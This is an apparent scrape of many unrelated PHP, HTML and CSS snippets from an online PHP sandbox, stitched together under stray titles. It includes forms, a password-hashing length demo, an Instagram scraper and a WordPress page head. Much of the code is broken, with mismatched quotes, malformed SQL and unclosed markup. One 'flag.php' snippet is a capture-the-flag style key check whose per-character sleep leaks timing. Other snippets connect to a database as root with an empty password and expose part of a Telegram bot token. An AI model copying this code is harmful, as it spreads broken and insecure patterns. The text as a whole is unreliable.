<html> <body> <?php function getBrowser() { $u_agent = $_SERVER['HTTP_USER_AGENT']; $bname = 'Unknown'; $platform = 'Unknown'; $version = "; //First get the platform? if (preg_match('/linux/i', $u_agent)) { $platform = 'linux'; }elseif (preg_match('/macintosh|mac os x/i', $u_agent)) { $platform = 'mac'; }elseif (preg_match('/windows|win32/i', $u_agent)) { $platform = 'windows'; } // Next get the name of the useragent yes seperately and for good reason if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)) { $bname = 'Internet Explorer'; $ub = "MSIE"; } elseif(preg_match('/Firefox/i',$u_agent)) { $bname = 'Mozilla Firefox'; $ub = "Firefox"; } elseif(preg_match('/Chrome/i',$u_agent)) { $bname = 'Google Chrome'; $ub = "Chrome"; }elseif(preg_match('/Safari/i',$u_agent)) { $bname = 'Apple Safari'; $ub = "Safari"; }elseif(preg_match('/Opera/i',$u_agent)) { $bname = 'Opera'; $ub = "Opera"; }elseif(preg_match('/Netscape/i',$u_agent)) { $bname = 'Netscape'; $ub = "Netscape"; } // finally get the correct version number $known = array('Version', $ub, 'other'); $pattern = '#(?<browser>' . join('|', $known) . ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#'; if (!preg_match_all($pattern, $u_agent, $matches)) { // we have no matching number just continue } // see how many we have $i = count($matches['browser']); if ($i != 1) { //we will have two since we are not using 'other' argument yet //see if version is before or after the name if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){ $version= $matches['version'][0]; }else { $version= $matches['version'][1]; } }else { $version= $matches['version'][0]; } // check if we have a number if ($version == null || $version == ") {$version = "?";} return array( 'userAgent' => $u_agent, 'name' => $bname, 'version' => $version, 'platform' => $platform, 'pattern' => $pattern ); } // now try it $ua = getBrowser(); $yourbrowser = "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent']; print_r($yourbrowser); ?> </body> </html>

a123

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

<hello wold/>

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

<?php //funkcja zamieniająca wartości zmiennych function zamien(&$pierwsza, &$druga) { $pom = $pierwsza; $pierwsza = $druga; $druga = $pom; } //funkcja sortująca trzy zmienne function sortuj($a, $b, $c) { global $a, $b, $c;

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Form

<html> <head> <style> * { box-sizing: border-box; } input[type=text], select, textarea{ width: 100%; padding: 12px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; resize: vertical; } label { padding: 12px 12px 12px 0; display: inline-block; } input[type=submit] { background-color: #4CAF50; color: white; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; float: right; } input[type=submit]:hover { background-color: #45a049; } .container { border-radius: 5px; background-color: #f2f2f2; padding: 20px; } .col-25 { float: left; width: 25%; margin-top: 6px; } .col-75 { float: left; width: 75%; margin-top: 6px; } /* Clear floats after the columns */ .row:after { content: "; display: table; clear: both; } /* Registration layout - when the screen is less than 600px wide, make the two columns stack on top of each other instead of next to each other */ @media (max-width: 600px) { .col-25, .col-75, input[type=submit] { width: 100%; margin-top: 0; } } </style> <?php $servername = "localhost"; $username = "root"; $password = "; $dbname = "alumni_form"; // Create connection $conn = new mysqli($servername, $username, $password, $dbname); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } $sql = "INSERT INTO alumni_registration_form (fname, lname, year of graduation, degree, department, hostel, address, city, state, country, zipcode, contactnumber, date_time) VALUES ('monisha', 's', '2011', 'B.Tech', 'cauvery', 'no.26 nungambakkam,chennai', chennai', 'tamilnadu', 'india', '600002', '9875632547',)"; if ($conn->query($sql) === TRUE) { echo "New record created successfully"; } else { echo "Error: " . $sql . "<br>" . $conn->error; } $conn->close(); ?> <h2>Registration Form</h2> <div class="container"> <form action="/action_page.php"> <div class="row"> <div class="col-25"> <label for="fname">First Name</label> </div> <div class="col-25"> <input type="text" id="fname" name="firstname" placeholder="Your name.."> </div> </div> <div class="row"> <div class="col-25"> <label for="lname">Last Name</label> </div> <div class="col-25"> <input type="text" id="lname" name="lastname" placeholder="Your last name.."> </div> </div> <div class="row"> <div class="col-25"> <label for="country">Year of Graduation</label> </div> <div class="col-25"> <select id="number" name="yearofgraduation" placeholder="Year of graduation"> <option value="></option> <option value="1967">1964</option> <option value="1967">1965</option> <option value="1967">1966</option> <option value="1967">1967</option> <option value="1968">1968</option> <option value="1969">1969</option> <option value="1969">1970</option> <option value="1969">1971</option> <option value="1969">1972</option> <option value="1969">1973</option> <option value="1969">1974</option> <option value="1969">1975</option> <option value="1969">1976</option> <option value="1969">1977</option> <option value="1969">1978</option> <option value="1969">1979</option> <option value="1969">1980</option> <option value="1969">1981</option> <option value="1969">1982</option> <option value="1969">1983</option> <option value="1969">1984</option> <option value="1969">1985</option> <option value="1969">1986</option> <option value="1969">1987</option> <option value="1969">1988</option> <option value="1969">1989</option> <option value="1969">1990</option> <option value="1969">1991</option> <option value="1969">1992</option> <option value="1969">1993</option> <option value="1969">1994</option> <option value="1969">1995</option> <option value="1969">1996</option> <option value="1969">1997</option> <option value="1969">1998</option> <option value="1969">1999</option> <option value="1969">2000</option> <option value="1969">2001</option> <option value="1969">2002</option> <option value="1969">2003</option> <option value="1969">2004</option> <option value="1969">2005</option> <option value="1969">2006</option> <option value="1969">2007</option> <option value="1969">2008</option> <option value="1969">2009</option> <option value="1969">2010</option> <option value="1969">2011</option> <option value="1969">2012</option> <option value="1969">2013</option> <option value="1969">2014</option> <option value="1969">2015</option> <option value="1969">2016</option> <option value="1969">2017</option> </select> </div> </div> <div class="row"> <div class="col-25"> <label for="country">Degree</label> </div> <div class="col-25"> <select id="text" name="degree" placeholder="Degree"> <option value="></option> <option value="b.tech">B.Tech</option> <option value="dualdegree">Dual Degree</option> <option value="m.tech">M.Tech</option> <option value="m.sc">M.Sc</option> <option value="mba">MBA</option> <option value="m.s.">M.S.</option> <option value="ph.d.">Ph.D.</option> </select> </div> </div> <div class="row"> <div class="col-25"> <label for="country">Department</label> </div> <div class="col-25"> <select id="text" name="department" placeholder="Department"> <option value="></option> <option value="aerospaceengineering">Aerospace Engineering</option> <option value="appliedmechanics">Applied Mechanics</option> <option value="Biotechnology">Biotechnology</option> <option value="Chemical Engineering">Chemical Engineering</option> <option value="Chemistry">Chemistry</option> <option value="Civil Engineering">Civil Engineering</option> <option value="Computer Science and Engineering">Computer Science and Engineering</option> <option value="Electrical Engineering">Electrical Engineering</option> <option value="Humanities and Social Sciences">Humanities and Social Sciences</option> <option value="Management Studies">Management Studies</option> <option value="Mathematics">Mathematics</option> <option value="Mechanical Engineering">Mechanical Engineering</option> <option value="Metallurgical and Materials Engineering">Metallurgical and Materials Engineering</option> <option value="Ocean Engineering">Ocean Engineering</option> <option value="Physics">Physics</option> <option value="Aircraft Production Engineering">Aircraft Production Engineering</option> </select> </div> </div> <div class="row"> <div class="col-25"> <label for="lname">Hostel</label> </div> <div class="col-25"> <input type="text" id="hostel" name="hostel"> </div> </div> <div class="row"> <div class="col-25"> <label for="subject">Address</label> </div> <div class="col-25"> <textarea id="subject" name="subject" style="height:200px"></textarea> </div> </div> <div class="row"> <div class="col-25"> <label for="lname">City</label> </div> <div class="col-25"> <input type="text" id="City" name="City"> </div> </div> <div class="row"> <div class="col-25"> <label for="lname">State</label> </div> <div class="col-25"> <input type="text" id="State" name="State"> </div> </div> <div class="row"> <div class="col-25"> <label for="lname">Country</label> </div> <div class="col-25"> <input type="text" id="Country" name="Country"> </div> </div> <div class="row"> <div class="col-25"> <label for="lname">Zip Code</label> </div> <div class="col-25"> <input type="text" id="zipcode" name="zipcode"> </div> </div> <div class="row"> <div class="col-25"> <label for="lname">Contact Number</label> </div> <div class="col-25"> <input type="text" id="Contact Number" name="contactnumber"> </div> </div> <div class="row"> <input type="submit" value="Submit"> </div> </form> </div> </body> </html> </body> </html>

<html> <head> <style> body {font-family: Arial;} /* Style the tab */ div.tab { overflow: hidden; border: 1px solid #ccc; background-color: #f1f1f1; } /* Style the buttons inside the tab */ div.tab button { background-co

<html> <head> <style> body {font-family: Arial;} /* Style the tab */ div.tab { overflow: hidden; border: 1px solid #ccc; background-color: #f1f1f1; } /* Style the buttons inside the tab */ div.tab button { background-color: inherit; float: left; border: none; outline: none; cursor: pointer; padding: 14px 16px; transition: 0.3s; font-size: 17px; } /* Change background color of buttons on hover */ div.tab button:hover { background-color: #ddd; } /* Create an active/current tablink class */ div.tab button.active { background-color: #ccc; } /* Style the tab content */ .tabcontent { display: none; padding: 6px 12px; border: 1px solid #ccc; border-top: none; } </style> </head> <body> <p>Click on the buttons inside the tabbed menu:</p> <div class="tab"> <button class="tablinks" onclick="openCity(event, 'London')">London</button> <button class="tablinks" onclick="openCity(event, 'Paris')">Paris</button> <button class="tablinks" onclick="openCity(event, 'Tokyo')">Tokyo</button> </div> <div id="London" class="tabcontent"> <h3>London</h3> <p>London is the capital city of England.</p> </div> <div id="Paris" class="tabcontent"> <h3>Paris</h3> <p>Paris is the capital of France.</p> </div> <div id="Tokyo" class="tabcontent"> <h3>Tokyo</h3> <p>Tokyo is the capital of Japan.</p> </div> <script> function openCity(evt, cityName) { var i, tabcontent, tablinks; tabcontent = document.getElementsByClassName("tabcontent"); for (i = 0; i < tabcontent.length; i++) { tabcontent[i].style.display = "none"; } tablinks = document.getElementsByClassName("tablinks"); for (i = 0; i < tablinks.length; i++) { tablinks[i].className = tablinks[i].className.replace(" active", "); } document.getElementById(cityName).style.display = "block"; evt.currentTarget.className += " active"; } </script> </body> </html>

pothole

<?php require_once './library/config.php'; require_once './library/functions.php'; checkUser(); $content = 'main.php'; $pageTitle = 'Potholes'; //$script = array(); require_once 'include/template.php'; ?>

ddsdfdfd

<!DOCTYPE HTML> <html> <head> <style> .error {color: #FF0000;} </style> </head> <body> <?php // define variables and set to empty values $nameErr = $emailErr = $genderErr = $websiteErr = "; $name = $email = $gender = $comment = $website = "; if ($_SERVER["REQUEST_METHOD"] == "POST") { if (empty($_POST["name"])) { $nameErr = "Name is required"; } else { $name = test_input($_POST["name"]); // check if name only contains letters and whitespace if (!preg_match("/^[a-zA-Z ]*$/",$name)) { $nameErr = "Only letters and white space allowed"; } } if (empty($_POST["email"])) { $emailErr = "Email is required"; } else { $email = test_input($_POST["email"]); // check if e-mail address is well-formed if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $emailErr = "Invalid email format"; } } if (empty($_POST["website"])) { $website = "; } else { $website = test_input($_POST["website"]); // check if URL address syntax is valid (this regular expression also allows dashes in the URL) if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) { $websiteErr = "Invalid URL"; } } if (empty($_POST["comment"])) { $comment = "; } else { $comment = test_input($_POST["comment"]); } if (empty($_POST["gender"])) { $genderErr = "Gender is required"; } else { $gender = test_input($_POST["gender"]); } } function test_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } ?> <h2>PHP Form Validation Example</h2> <p><span class="error">* required field.</span></p> <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> Name: <input type="text" name="name" value="<?php echo $name;?>"> <span class="error">* <?php echo $nameErr;?></span> <br><br> E-mail: <input type="text" name="email" value="<?php echo $email;?>"> <span class="error">* <?php echo $emailErr;?></span> <br><br> Website: <input type="text" name="website" value="<?php echo $website;?>"> <span class="error"><?php echo $websiteErr;?></span> <br><br> Comment: <textarea name="comment" rows="5" cols="40"><?php echo $comment;?></textarea> <br><br> Gender: <input type="radio" name="gender" <?php if (isset($gender) && $gender=="female") echo "checked";?> value="female">Female <input type="radio" name="gender" <?php if (isset($gender) && $gender=="male") echo "checked";?> value="male">Male <span class="error">* <?php echo $genderErr;?></span> <br><br> <input type="submit" name="submit" value="Submit"> </form> <?php echo "<h2>Your Input:</h2>"; echo $name; echo "<br>"; echo $email; echo "<br>"; echo $website; echo "<br>"; echo $comment; echo "<br>"; echo $gender; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $salt = "randoSalt"; $hash1 = crypt("!Seven!", $salt); $step = 1; $iterations = 10; for ($i = 1; $i < $iterations; $i += $step) { $hash1 = crypt($hash1, $salt); } $hash2 = crypt(str_repeat("password", 8), $salt); $step = 1; $iterations = 10; for ($i = 1; $i < $iterations; $i += $step) { $hash2 = crypt($hash2, $salt); } $hash3 = crypt(str_repeat("password", 2), $salt); $step = 1; $iterations = 10; for ($i = 1; $i < $iterations; $i += $step) { $hash3 = crypt($hash3, $salt); } $hash4 = crypt(str_repeat("password", 100), $salt); $step = 1; $iterations = 10; for ($i = 1; $i < $iterations; $i += $step) { $hash4 = crypt($hash4, $salt); } echo "1: The following are hashed for 3 seperate length passwords. The first one is 7 characters. after that, are all 8 or more characters. All hashes are used with crypt() and the same salt. In this case, we use crypt_std_des because of the salt syntax. The repetition between the ones that are of length 8+ characters shows that the maximum password length for the standard crypt() function is 8 characters.\n"; echo "Hash1:\n" .$hash1; echo "\n"; echo "Hash2:\n" .$hash2; echo "\n"; echo "Hash3:\n" .$hash3; echo "\n"; echo "Hash4:\n" .$hash4; echo "\n\n"; $salt = '$2y$09$AAAAAAAAAAAAAAAAAAAAAq'; $hash1 = crypt(str_repeat("a", 71), $salt); $step = 1; $iterations = 10; for ($i = 1; $i < $iterations; $i += $step) { $hash1 = crypt($hash1, $salt); } $hash2 = crypt(str_repeat("a", 72), $salt); $step = 1; $iterations = 10; for ($i = 1; $i < $iterations; $i += $step) { $hash2 = crypt($hash2, $salt); } $hash3 = crypt(str_repeat("a", 73), $salt); $step = 1; $iterations = 10; for ($i = 1; $i < $iterations; $i += $step) { $hash3 = crypt($hash3, $salt); } $hash4 = crypt(str_repeat("a", 100), $salt); $step = 1; $iterations = 10; for ($i = 1; $i < $iterations; $i += $step) { $hash4 = crypt($hash4, $salt); } echo "2: The following are hashed for 4 seperate length passwords. The first one is 71 characters. after that, are all 72 or more characters. All hashes are used with crypt() and the same salt. In this case, we use crypt_blowfish because of the salt syntax. The repetition between the ones that are of length 72+ characters shows that the maximum password length for the standard crypt_blowfish() function is 72 characters.\n"; echo "Hash1:\n" .$hash1; echo "\n"; echo "Hash2:\n" .$hash2; echo "\n"; echo "Hash3:\n" .$hash3; echo "\n"; echo "Hash4:\n" .$hash4; echo "\n"; ?> </body> </html>

000000000

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

code

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

hotel

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

phponline

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PH!</h1>\n"; ?> </body> </html>

nikhileshwar

<?php $x = 5; $y = 10; function myTest() { global $x, $y; $y = $x + $y; } myTest(); // run function echo $y; // output the new value for variable $y ?>

flag.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php @set_time_limit(200000); //require_once('flag.php'); $llIllIllIlllIIIlIlIlI = array("strlen", "base64_decode", "kunci","xXrL", "OxczZ" ,"isset","w!#$","$_GET","usleep","die","Coba lagi","Salah gan!"); $IlIlIllII = $dec("strlen"); $IlIllIlIl = $dec("usleep"); $IllllIlIl = $dec("die"); $IllIllIIl = $dec("Coba lagi"); $IllIlIIIl = $dec("Salah gan!"); if(isset($_GET[$dec("kunci")])){ $key = $_GET[$dec("kunci")]; if(strlen($key)!=5){ echo "Salah gan!"; die(); } for($i=0;$i<strlen($key);$i++) { $KEY=$KEYS; if($key[$i]!=$KEY[$i]){ echo "Salah gan!"; die(); } usleep(200000); } echo $flag; } ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $list = '@Exoticcars_inspire,@lyudareal,@drift_vibes,@fuego.aesthetics,@madame.rosette,@matthewaberry,@nathansmith70,@pharmathlete,@turborgasm,@uncksam,@gianmarcodegioia,@romandd,@emanuelemaglie,@manifest_mentor,@paolamod_lc,@fyve7,@agradeaccessories,@carculture,@carcultural,@cesarmhmedia,@bravovirals'; $list = str_replace ( "@" , " , $list); $arrList = explode(",",$list); foreach ($arrList as $key=>$usr) { $json = file_get_contents("https://www.instagram.com/{$usr}/?__a=1"); if ($json !== false) { $obj = json_decode($json); $code = $obj->user->media->nodes[0]->code; print '<a href="https://www.instagram.com/p/'.$code.'/">'.$usr.$code.'</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '; if($key%10 == 0 and $key!=0) { print " Sleep 5sec<br/>"; // sleep(5); } } else { print "#### SONO QUI ####"; } } ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<b>Chayanin Sakulchit</b><br>/n"; ?> </body> </html>

hee haa

<?php /*********************************************************************** * register2.php * Implements a registration form for Groups. Informs user of any errors. **********************************************************************/ ?> <!DOCTYPE html> <html> <head> <title>Groups</title> </head> <body> <?php if (empty($_POST["name"]) || empty($_POST["gender"]) || empty($_POST["state"])): ?> You must provide your name, gender, and state! Go <a href="groups2.php">back</a>. <?php else: ?> You are registered! (Well, not really.) <?php endif ?> </body> </html> <?php function sum($x, $y=1) { $z = $x + $y; return $z; } echo "5 + 10 = " . sum(5, 10) . "<br>"; echo "7 + 13 = " . sum(7, 13) . "<br>"; echo "2 + 4 = " . sum(2); ?>

aaaaaa

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php // Funkcja wyświetlająca formularz function formularz() { //definicja formularza (składnia heredoc) $form = <<<EOD <form action="zgloszenie.php" method="post"> <div> Imię:<br /> <input name="imie" value=" /><br /> Nazwisko:<br /> <input name="nazwisko" value=" /><br /> Zawód:<br /> <input name="zawod" value=" /><br /> Adres e-mail:<br /> <input name="email" value=" /><br /> <input type="checkbox" name="mailing" value="checked" />Chcę otrzymywać informacje handlowe<br /><br /> <input type="submit" value="Wyślij" name="submit"/> </div> </form> EOD; echo $form; }?> <body> </body> </html> <?php $input = 'carrot'; $words = array('apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato','apple','pineapple','banana','orange', 'radish','carrot','pea','bean','potato'); $shortest = -1; foreach ($words as $word) { $lev = levenshtein($input, $word); if ($lev == 0) { $closest = $word; $shortest = 0; break; } if ($lev <= $shortest || $shortest < 0) { $closest = $word; $shortest = $lev; } } echo "Input word: $input\n"; if ($shortest == 0) { echo "Exact match found: $closest\n"; } else { echo "Exact does not match: $0%?\n"; }?>

Amir

<?php class Image { public function Image() { echo "We just created and object!"; } } $image = new Image(); // prints "We just created and object!" ?>

helloworld

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

prog

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <form> </form> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

<?php ob_start(); define('API_KEY','477719622:AAEUxlCLT1iNA-wFmcXX2q7bimB5mz52Ja8...'); function makeHTTPRequest($method,$datas=[]){ $url = "https://api.telegram.org/bot".API_KEY."/".$method; $ch = curl_init(); curl

$update->callback_query->id

www.naver.com

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

http://www.theproductioncompany.co.uk/portfolio-graduation17.php

http://www.theproductioncompany.co.uk/portfolio-graduation17.php<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

main.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

hello

<html> <head> <html> <head> <title>Jquery Registration page validation</title> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"> </script> <script type="text/javascript"> $(document).ready(function(){ $('#submit').click(function(){ var user=$('#user').val(); var user1=$('#user1').val(); var pass=$('#pass').val(); var rpass=$('#rpass').val(); var email=$('#email').val(); var gender=$('#gender').val(); if(user==") { $('#dis').slideDown().html("<span>Please type first name</span>"); return false; } if(user1==") { $('#dis').slideDown().html("<span>Please type last name</span>"); <div id="container"> <div id="header"> <h2><center>Validation Using jQuery</center><h2> </div> <div id="content"> <!-- form start--> <center><label id="dis" style="width:250px;"></label></center><br> <div id="tex">First Name:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="text" name="user" id="user" /></div><br/> <div id="tex">Last Name:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="text" name="user" id="user1" /></div><br/> <div id="tex">Password:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="password" name="pass" id="pass" /></div><br /> <div id="tex">Re-type Password:&nbsp;&nbsp; <input type="password" name="pass" id="rpass" /></div><br /> <div id="tex">Email:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="text" name="email" id="email"></div><br /> <div id="tex">Gender:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="radio" name="gender" id="gender"> Male <input type="radio" name="gender" id="gender"> Female <input type="radio" name="gender" id="gender">Both</div> <br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" name="submit" id="submit" /> </form> </div> <center> <div id="footer"> <p align="center";>&nbsp;&nbsp;Powered by &nbsp; pradeepgupta.mait@gmail.com</p> #dis { text-align:center; height:25px; width:250px; color:red; } </style>

even.php

<html> <head> <title>even or odd</title> </head> <body> <form action=" "method="post"> <label>enter a number</label> <input type="text"name="number"> <input type="submit"/> </form> <?php if($_POST) { $num=$_POST['number']; if(($num%2)==0) { echo $num,"even"; } else { echo$num,"odd"; } } ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

hello

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <form> <input type="number" name="num"/> <input type="submit" name="res" value="Print"/> </form> <?php echo "I am php"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

MEGA

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Test PHP

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="http://www.srisitaramvaidicasm.com/D/xmlrpc.php"> <title>Search &#8211; e-Library</title> <link rel='dns-prefetch' href='//fonts.googleapis.com' /> <link rel='dns-prefetch' href='//s.w.org' /> <link rel="alternate" type="application/rss+xml" title="e-Library &raquo; Feed" href="http://www.srisitaramvaidicasm.com/D/feed/" /> <link rel="alternate" type="application/rss+xml" title="e-Library &raquo; Comments Feed" href="http://www.srisitaramvaidicasm.com/D/comments/feed/" /> <link rel='stylesheet' id='colorbox-css' href='http://www.srisitaramvaidicasm.com/D/wp-content/plugins/wp-colorbox/example5/colorbox.css?ver=4.6.1' type='text/css' media='all' /> <link rel='stylesheet' id='siteorigin-panels-front-css' href='http://www.srisitaramvaidicasm.com/D/wp-content/plugins/siteorigin-panels/css/front.css?ver=2.4.17' type='text/css' media='all' /> <link rel='stylesheet' id='contact-form-7-css' href='http://www.srisitaramvaidicasm.com/D/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=4.5.1' type='text/css' media='all' /> <link rel='stylesheet' id='tt-easy-google-fonts-css' href='http://fonts.googleapis.com/css?family=Roboto%3A300&#038;subset=latin%2Call&#038;ver=4.6.1' type='text/css' media='all' /> <link rel='stylesheet' id='tesseract-style-css' href='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/style.css?ver=1.0.0' type='text/css' media='all' /> <link rel='stylesheet' id='tesseract-fonts-css' href='//fonts.googleapis.com/css?family=Open%2BSans%3A400%2C300%2C300italic%2C400italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%26subset%3Dlatin%2Cgreek%2Cgreek-ext%2Cvietnamese%2Ccyrillic-ext%2Ccyrillic%2Clatin-ext&#038;ver=1.0.0' type='text/css' media='all' /> <link rel='stylesheet' id='tesseract-icons-css' href='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/css/typicons.css?ver=1.0.0' type='text/css' media='all' /> <link rel='stylesheet' id='fontawesome-css' href='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/css/font-awesome.min.css?ver=4.4.0' type='text/css' media='all' /> <link rel='stylesheet' id='tesseract-site-banner-css' href='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/css/site-banner.css?ver=1.0.0' type='text/css' media='all' /> <style id='tesseract-site-banner-inline-css' type='text/css'> .site-header, .main-navigation ul ul a, #header-right-menu ul ul a, .site-header .cart-content-details { background-color: rgb(61, 165, 165); } .site-header .cart-content-details:after { border-bottom-color: rgb(61, 165, 165); } .home .site-header, .home .main-navigation ul ul a, .home #header-right ul ul a, .home .site-header .cart-content-details { background-color: rgba(61, 165, 165, 1); } .home .site-header .cart-content-details:after { border-bottom-color: rgba(61, 165, 165, 1); } .site-header, #header-button-container-inner, #header-button-container-inner a, .site-header h1, .site-header h2, .site-header h3, .site-header h4, .site-header h5, .site-header h6, .site-header h2 a{ color: #ffffff; } #masthead_TesseractTheme .search-field { color: #ffffff; } #masthead_TesseractTheme .search-field.watermark { color: #ccc; } .site-header a, .main-navigation ul ul a, #header-right-menu ul li a, .menu-open, .dashicons.menu-open, 